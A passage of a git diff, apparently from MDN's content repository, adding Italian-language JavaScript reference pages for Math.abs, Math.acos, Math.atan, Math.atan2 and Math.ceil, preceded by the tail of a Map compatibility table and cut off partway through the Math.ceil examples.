+   <td>25</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Constructor argument: <code>new Map(null)</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("37")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Monkey-patched <code>set()</code> in Constructor</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("37")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>Map[@@species]</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("41")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>Map()</code> without <code>new</code> throws</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("42") }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatChrome(38) }} [1]</td>
+   <td>{{ CompatGeckoMobile("13") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Constructor argument: <code>new Map(iterable)</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatChrome(38) }}</td>
+   <td>{{ CompatGeckoMobile("13") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>iterable</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile("17") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td><code>Map.clear()</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatChrome(31) }}<br>
+    {{ CompatChrome(38) }}</td>
+   <td>{{CompatGeckoMobile("19")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td><code>Map.keys(), Map.values(), Map.entries()</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatChrome(37) }}<br>
+    {{ CompatChrome(38) }}</td>
+   <td>{{CompatGeckoMobile("20")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td><code>Map.forEach()</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatChrome(36) }}<br>
+    {{ CompatChrome(38) }}</td>
+   <td>{{CompatGeckoMobile("25")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Key equality for -0 and 0</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatChrome(34) }}<br>
+    {{ CompatChrome(38) }}</td>
+   <td>{{CompatGeckoMobile("29")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Constructor argument: <code>new Map(null)</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Monkey-patched <code>set()</code> in Constructor</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>Map[@@species]</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("41")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>Map()</code> without <code>new</code> throws</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("42")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Starting with Chrome 31, the feature was available behind a preference. In <code>chrome://flags</code>, activate the entry “Enable Experimental JavaScript”.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=697479">Map and Set bug at Mozilla</a></li>
+ <li><a class="external" href="http://wiki.ecmascript.org/doku.php?id=harmony:simple_maps_and_sets">ECMAScript Harmony proposal</a></li>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("WeakMap")}}</li>
+ <li>{{jsxref("WeakSet")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/math/abs/index.html b/files/it/web/javascript/reference/global_objects/math/abs/index.html
new file mode 100644
index 0000000000..6dcf7a7dd6
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/math/abs/index.html
@@ -0,0 +1,95 @@
+---
+title: Math.abs()
+slug: Web/JavaScript/Reference/Global_Objects/Math/abs
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/abs
+---
+<div>{{JSRef}}</div>
+
+<p>La funzione <strong><code>Math.abs()</code></strong> ritorna il valore assoluto di un numero, ovvero</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.abs</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mrow><mo stretchy="false">|</mo><mi>x</mi><mo stretchy="false">|</mo></mrow><mo>=</mo><mrow><mo>{</mo><mtable columnalign="left left"><mtr><mtd><mi>x</mi></mtd><mtd><mtext>if</mtext><mspace width="1em"></mspace><mi>x</mi><mo>&gt;</mo><mn>0</mn></mtd></mtr><mtr><mtd><mi>0</mi></mtd><mtd><mtext>if</mtext><mspace width="1em"></mspace><mi>x</mi><mo>=</mo><mn>0</mn></mtd></mtr><mtr><mtd><mo>-</mo><mi>x</mi></mtd><mtd><mtext>if</mtext><mspace width="1em"></mspace><mi>x</mi><mo>&lt;</mo><mn>0</mn></mtd></mtr></mtable></mrow></mrow><annotation encoding="TeX">{\mathtt{\operatorname{Math.abs}(x)}} = {|x|} = \begin{cases} x &amp; \text{if} \quad x \geq 0 \\ -x &amp; \text{if} \quad x &lt; 0 \end{cases} </annotation></semantics></math></p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">Math.abs(<var>x</var>)</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un numero.</dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Il valore assoluto del numero passato come parametro.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Siccome <code>abs()</code> è un metodo statico di <code>Math</code>, viene sempre utilizzato come <code>Math.abs()</code> piuttosto che come metodo di un oggetto <code>Math</code> creato in precedenza (<code>Math</code> non è un costruttore).</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Comportamento_di_Math.abs()">Comportamento di <code>Math.abs()</code></h3>
+
+<p>Passando un oggetto vuoto, un array con più di un elemento, una stringa non numerica o una variabile {{jsxref("undefined")}}/empty il valore di ritorno sarà {{jsxref("NaN")}}. Passando {{jsxref("null")}}, una stringa vuota o un array vuoto, il valore di ritorno sarà 0.</p>
+
+<pre class="brush: js" dir="rtl">Math.abs('-1');     // 1
+Math.abs(-2);       // 2
+Math.abs(null);     // 0
+Math.abs('');       // 0
+Math.abs([]);       // 0
+Math.abs([2]);      // 2
+Math.abs([1,2]);    // NaN
+Math.abs({});       // NaN
+Math.abs('string'); // NaN
+Math.abs();         // NaN
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definizione iniziale. Implementata in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.1', 'Math.abs')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.abs', 'Math.abs')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.abs', 'Math.abs')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_Browser">Compatibilità con i Browser</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.abs")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Math.ceil()")}}</li>
+ <li>{{jsxref("Math.floor()")}}</li>
+ <li>{{jsxref("Math.round()")}}</li>
+ <li>{{jsxref("Math.sign()")}}</li>
+ <li>{{jsxref("Math.trunc()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/math/acos/index.html b/files/it/web/javascript/reference/global_objects/math/acos/index.html
new file mode 100644
index 0000000000..b872e04ab2
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/math/acos/index.html
@@ -0,0 +1,94 @@
+---
+title: Math.acos()
+slug: Web/JavaScript/Reference/Global_Objects/Math/acos
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/acos
+---
+<div>{{JSRef}}</div>
+
+<p>La funzione <strong><code>Math.acos()</code></strong> ritorna l'arcocoseno (in radianti) di un numero, ovvero</p>
+
+<p><math display="block"><semantics><mrow><mo>∀</mo><mi>x</mi><mo>∊</mo><mo stretchy="false">[</mo><mrow><mo>-</mo><mn>1</mn></mrow><mo>;</mo><mn>1</mn><mo stretchy="false">]</mo><mo>,</mo><mspace width="thickmathspace"></mspace><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.acos</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">arccos</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext> the unique </mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mo>∊</mo><mo stretchy="false">[</mo><mn>0</mn><mo>;</mo><mi>π</mi><mo stretchy="false">]</mo><mspace width="thinmathspace"></mspace><mtext>such that</mtext><mspace width="thickmathspace"></mspace><mo lspace="0em" rspace="0em">cos</mo><mo stretchy="false">(</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x \in [{-1};1],\;\mathtt{\operatorname{Math.acos}(x)} = \arccos(x) = \text{ the unique } \; y \in [0; \pi] \, \text{such that} \; \cos(y) = x</annotation></semantics></math></p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><code>Math.acos(<var>x</var>)</code></pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un numero.</dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>L'arcocoseno (in radianti) del numero passato come parametro se quest'ultimo si trova tra i valori <strong>-1</strong> e <strong>1</strong>; altrimenti ritorna {{jsxref("NaN")}}.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Il metodo <code>Math.acos()</code> ritorna un valore numerico compreso tra 0 and π radianti per <code>x</code> compreso tra -1 e 1. Se il valore di <code>x</code> si trova al di fuori di questo range il metodo ritorna {{jsxref("NaN")}}.</p>
+
+<p>Siccome <code>acos()</code> è un metodo statico di <code>Math</code>, viene sempre usato come <code>Math.acos()</code> piuttosto che come metodo di un oggetto <code>Math</code> creato in precedenza (<code>Math</code> non è un costruttore).</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Math.acos()"><code>Math.acos()</code></h3>
+
+<pre class="brush: js">Math.acos(-2);  // NaN
+Math.acos(-1);  // 3.141592653589793
+Math.acos(0);   // 1.5707963267948966
+Math.acos(0.5); // 1.0471975511965979
+Math.acos(1);   // 0
+Math.acos(2);   // NaN
+</pre>
+
+<p>Per valori inferiori a -1 o maggiori di 1, <code>Math.acos()</code> ritorna {{jsxref("NaN")}}.</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definizione iniziale. Implementata in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.2', 'Math.acos')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.acos', 'Math.acos')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.acos', 'Math.acos')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_dei_Browser">Compatibilità dei Browser</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.acos")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Math.asin()")}}</li>
+ <li>{{jsxref("Math.atan()")}}</li>
+ <li>{{jsxref("Math.atan2()")}}</li>
+ <li>{{jsxref("Math.cos()")}}</li>
+ <li>{{jsxref("Math.sin()")}}</li>
+ <li>{{jsxref("Math.tan()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/math/atan/index.html b/files/it/web/javascript/reference/global_objects/math/atan/index.html
new file mode 100644
index 0000000000..9be8920214
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/math/atan/index.html
@@ -0,0 +1,100 @@
+---
+title: Math.atan()
+slug: Web/JavaScript/Reference/Global_Objects/Math/atan
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/atan
+---
+<div>{{JSRef}}</div>
+
+<p>La funzione <strong><code>Math.atan()</code></strong> restituisce l'arcotangente (in radianti) di un numero, definita come</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.atan</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">arctan</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext> l'unica </mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mo>∊</mo><mrow><mo>[</mo><mrow><mo>-</mo><mfrac><mi>π</mi><mn>2</mn></mfrac><mo>;</mo><mfrac><mi>π</mi><mn>2</mn></mfrac></mrow><mo>]</mo></mrow><mspace width="thinmathspace"></mspace><mtext>tale che</mtext><mspace width="thickmathspace"></mspace><mo lspace="0em" rspace="0em">tan</mo><mo stretchy="false">(</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\mathtt{\operatorname{Math.atan}(x)} = \arctan(x) = \text{ the unique } \; y \in \left[-\frac{\pi}{2}; \frac{\pi}{2}\right] \, \text{such that} \; \tan(y) = x</annotation></semantics></math></p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><code>Math.atan(<var>x</var>)</code></pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un numero.</dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>L'arcotangente (in radianti) del numero dato <strong><code>x</code></strong>.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Il metodo <code>Math.atan()</code> ritorna un valore numerico compreso tra <math><semantics><mrow><mo>-</mo><mfrac><mi>π</mi><mn>2</mn></mfrac></mrow><annotation encoding="TeX">-\frac{\pi}{2}</annotation></semantics></math> e <math><semantics><mfrac><mi>π</mi><mn>2</mn></mfrac><annotation encoding="TeX">\frac{\pi}{2}</annotation></semantics></math> radianti.</p>
+
+<p>Poiché <code>atan()</code> è un membro statico di <code>Math</code>, è da usarsi sempre nella forma <code>Math.atan()</code>, piuttosto che come un metodo di un oggetto <code>Math</code> creato (<code>Math</code> non è il costruttore di una classe).</p>
+
+<h2 id="Esempî">Esempî</h2>
+
+<h3 id="Using_Math.atan()">Using <code>Math.atan()</code></h3>
+
+<pre class="brush: js">Math.atan(1);   // 0.7853981633974483
+Math.atan(0);   // 0
+Math.atan(-0);  // -0
+
+Math.atan(Infinity); <span class="objectBox objectBox-number">  //  1.5707963267948966
+Math.atan(-Infinity);  // -1.5707963267948966
+
+</span>/*
+L'angolo che la retta su cui giace il segmento [(0,0);(x,y)]
+forma con l'asse x di un sistema a coordinate cartesiane
+*/
+Math.atan(y / x);
+</pre>
+
+<p>Note that you may want to avoid using <strong>±</strong><code>Infinity</code> for stylistic reasons. In this case, {{jsxref("Math.atan2()")}} with <code>0</code> as the second argument may be a better solution.</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definizione iniziale. Implementata in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.4', 'Math.atan')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.atan', 'Math.atan')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.atan', 'Math.atan')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.atan")}}</p>
+
+<h2 id="Vedere_anche">Vedere anche</h2>
+
+<ul>
+ <li>{{jsxref("Math.acos()")}}</li>
+ <li>{{jsxref("Math.asin()")}}</li>
+ <li>{{jsxref("Math.atan2()")}}</li>
+ <li>{{jsxref("Math.cos()")}}</li>
+ <li>{{jsxref("Math.sin()")}}</li>
+ <li>{{jsxref("Math.tan()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/math/atan2/index.html b/files/it/web/javascript/reference/global_objects/math/atan2/index.html
new file mode 100644
index 0000000000..842106f7a1
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/math/atan2/index.html
@@ -0,0 +1,155 @@
+---
+title: Math.atan2()
+slug: Web/JavaScript/Reference/Global_Objects/Math/atan2
+tags:
+  - Arcotangente
+  - JavaScript
+  - Math
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/atan2
+---
+<div>{{JSRef}}</div>
+
+<p>La funzione <strong><code>Math.atan2() </code></strong>restituisce l'arcotangente del quoziente dei suoi argomenti.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><code>Math.atan2(<var>y</var>, <var>x</var>)</code></pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>y</code></dt>
+ <dd>Primo numero.</dd>
+ <dt><code>x</code></dt>
+ <dd>Secondo numero.</dd>
+</dl>
+
+<h3 id="Valore_restituito">Valore restituito</h3>
+
+<p>L'arcotangente del quoziente degli argomenti forniti alla funzione, espresso in radianti e compreso tra -π e π.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Il metodo <code>Math.atan2()</code> restituisce un valore compreso tra -π e π che reppresenta l'angolo teta di un punto <code>(x, y)</code>. Questo angolo è orientato in senso antiorario, misurato in radianti e compreso tra l'asse positivo delle ascisse, ed il punto <code>(x, y)</code>. È importante ricordare che il primo argomento da fornire alla funzione è l'ordinata del punto ed il secondo la sua ascissa.</p>
+
+<p><img alt="A simple diagram showing the angle returned by atan2(y, x)" src="https://mdn.mozillademos.org/files/11557/atan2.png" style="height: 300px; width: 300px;"></p>
+
+<p><code>A Math.atan2()</code> vengono passate x ed y separatamente, mentre a <code>Math.atan()</code> deve essere passato il loro quoziente.</p>
+
+<p>Poichè <code>atan2()</code> è un metodo statico di <code>Math </code>esso viene sempre utilizzato nella forma <code>Math.atan2()</code>, invece che come metodo di un oggetto <code>Math </code>che hai personalmente creato (<code>Math</code> non è un costruttore).</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_Math.atan2()">Using <code>Math.atan2()</code></h3>
+
+<pre class="brush: js">Math.atan2(90, 15); // 1.4056476493802699
+Math.atan2(15, 90); // 0.16514867741462683
+
+Math.atan2(±0, -0);               // ±PI.
+Math.atan2(±0, +0);               // ±0.
+Math.atan2(±0, -x);               // ±PI con x &gt; 0.
+Math.atan2(±0, x);                // ±0 con x &gt; 0.
+Math.atan2(-y, ±0);               // -PI/2 con y &gt; 0.
+Math.atan2(y, ±0);                // PI/2 con y &gt; 0.
+Math.atan2(±y, -Infinity);        // ±PI con y finito e y &gt; 0.
+Math.atan2(±y, +Infinity);        // ±0 con y finito e y &gt; 0.
+Math.atan2(±Infinity, x);         // ±PI/2 con x finito.
+Math.atan2(±Infinity, -Infinity); // ±3*PI/4.
+Math.atan2(±Infinity, +Infinity); // ±PI/4.
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.5', 'Math.atan2')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.atan2', 'Math.atan2')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.atan2', 'Math.atan2')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Math.acos()")}}</li>
+ <li>{{jsxref("Math.asin()")}}</li>
+ <li>{{jsxref("Math.atan()")}}</li>
+ <li>{{jsxref("Math.cos()")}}</li>
+ <li>{{jsxref("Math.sin()")}}</li>
+ <li>{{jsxref("Math.tan()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/math/ceil/index.html b/files/it/web/javascript/reference/global_objects/math/ceil/index.html
new file mode 100644
index 0000000000..c8cdcb96dd
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/math/ceil/index.html
@@ -0,0 +1,161 @@
+---
+title: Math.ceil()
+slug: Web/JavaScript/Reference/Global_Objects/Math/ceil
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/ceil
+---
+<div>{{JSRef}}</div>
+
+<p>La funzione <strong><code>Math.ceil()</code></strong> ritorna il più piccolo intero più grande di o uguale a un dato numero.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><code>Math.ceil(<var>x</var>)</code></pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un numero.</dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Il più piccolo intero più grande di o uguale al dato numero.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Visto che <code>ceil()</code> è un metodo statico di <code>Math</code>, va usato sempre come <code>Math.ceil()</code>, piuttosto che come metodo di un oggetto <code>Math</code> creato (<code>Math</code> non è un costruttore).</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Usare_Math.ceil()">Usare <code>Math.ceil()</code></h3>
+
+<p>L'esempio seguente mostra un uso di <code>Math.ceil()</code>.</p>
+
+<pre class="brush: js">Math.ceil(.95);    // 1
+Math.ceil(4);      // 4
+Math.ceil(7.004);  // 8
+Math.ceil(-0.95);  // -0
+Math.ceil(-4);     // -4
+Math.ceil(-7.004); // -7
+</pre>
+
+<h3 id="Arrotondamento_decimale">Arrotondamento decimale</h3>
+
+<pre class="brush: js">// Closure
+(function() {
+  /**
+   * Decimal adjustment of a number.
+   *
+   * @param {String}  type  The type of adjustment.
+   * @param {Number}  value The number.
+   * @param {Integer} exp   The exponent (the 10 logarithm of the adjustment base).
+   * @returns {Number} The adjusted value.
+   */
+  function decimalAdjust(type, value, exp) {
+    // If the exp is undefined or zero...
+    if (typeof exp === 'undefined' || +exp === 0) {
+      return Math[type](value);
+    }
+    value = +value;
+    exp = +exp;
+    // If the value is not a number or the exp is not an integer...
+    if (isNaN(value) || !(typeof exp === 'number' &amp;&amp; exp % 1 === 0)) {
+      return NaN;
+    }
+    // Shift
+    value = value.toString().split('e');
+    value = Math[type](+(value[0] + 'e' + (value[1] ? (+value[1] - exp) : -exp)));
+    // Shift back
+    value = value.toString().split('e');
+    return +(value[0] + 'e' + (value[1] ? (+value[1] + exp) : exp));
+  }
+
+  // Decimal round
+  if (!Math.round10) {
+    Math.round10 = function(value, exp) {
+      return decimalAdjust('round', value, exp);
+    };
+  }
+  // Decimal floor
+  if (!Math.floor10) {
+    Math.floor10 = function(value, exp) {
+      return decimalAdjust('floor', value, exp);
+    };
+  }
+  // Decimal ceil
+  if (!Math.ceil10) {
+    Math.ceil10 = function(value, exp) {
+      return decimalAdjust('ceil', value, exp);
+    };
+  }
+})();
+
+// Round
+Math.round10(55.55, -1);   // 55.6
+Math.round10(55.549, -1);  // 55.5
+Math.round10(55, 1);       // 60
+Math.round10(54.9, 1);     // 50
+Math.round10(-55.55, -1);  // -55.5
+Math.round10(-55.551, -1); // -55.6
+Math.round10(-55, 1);      // -50
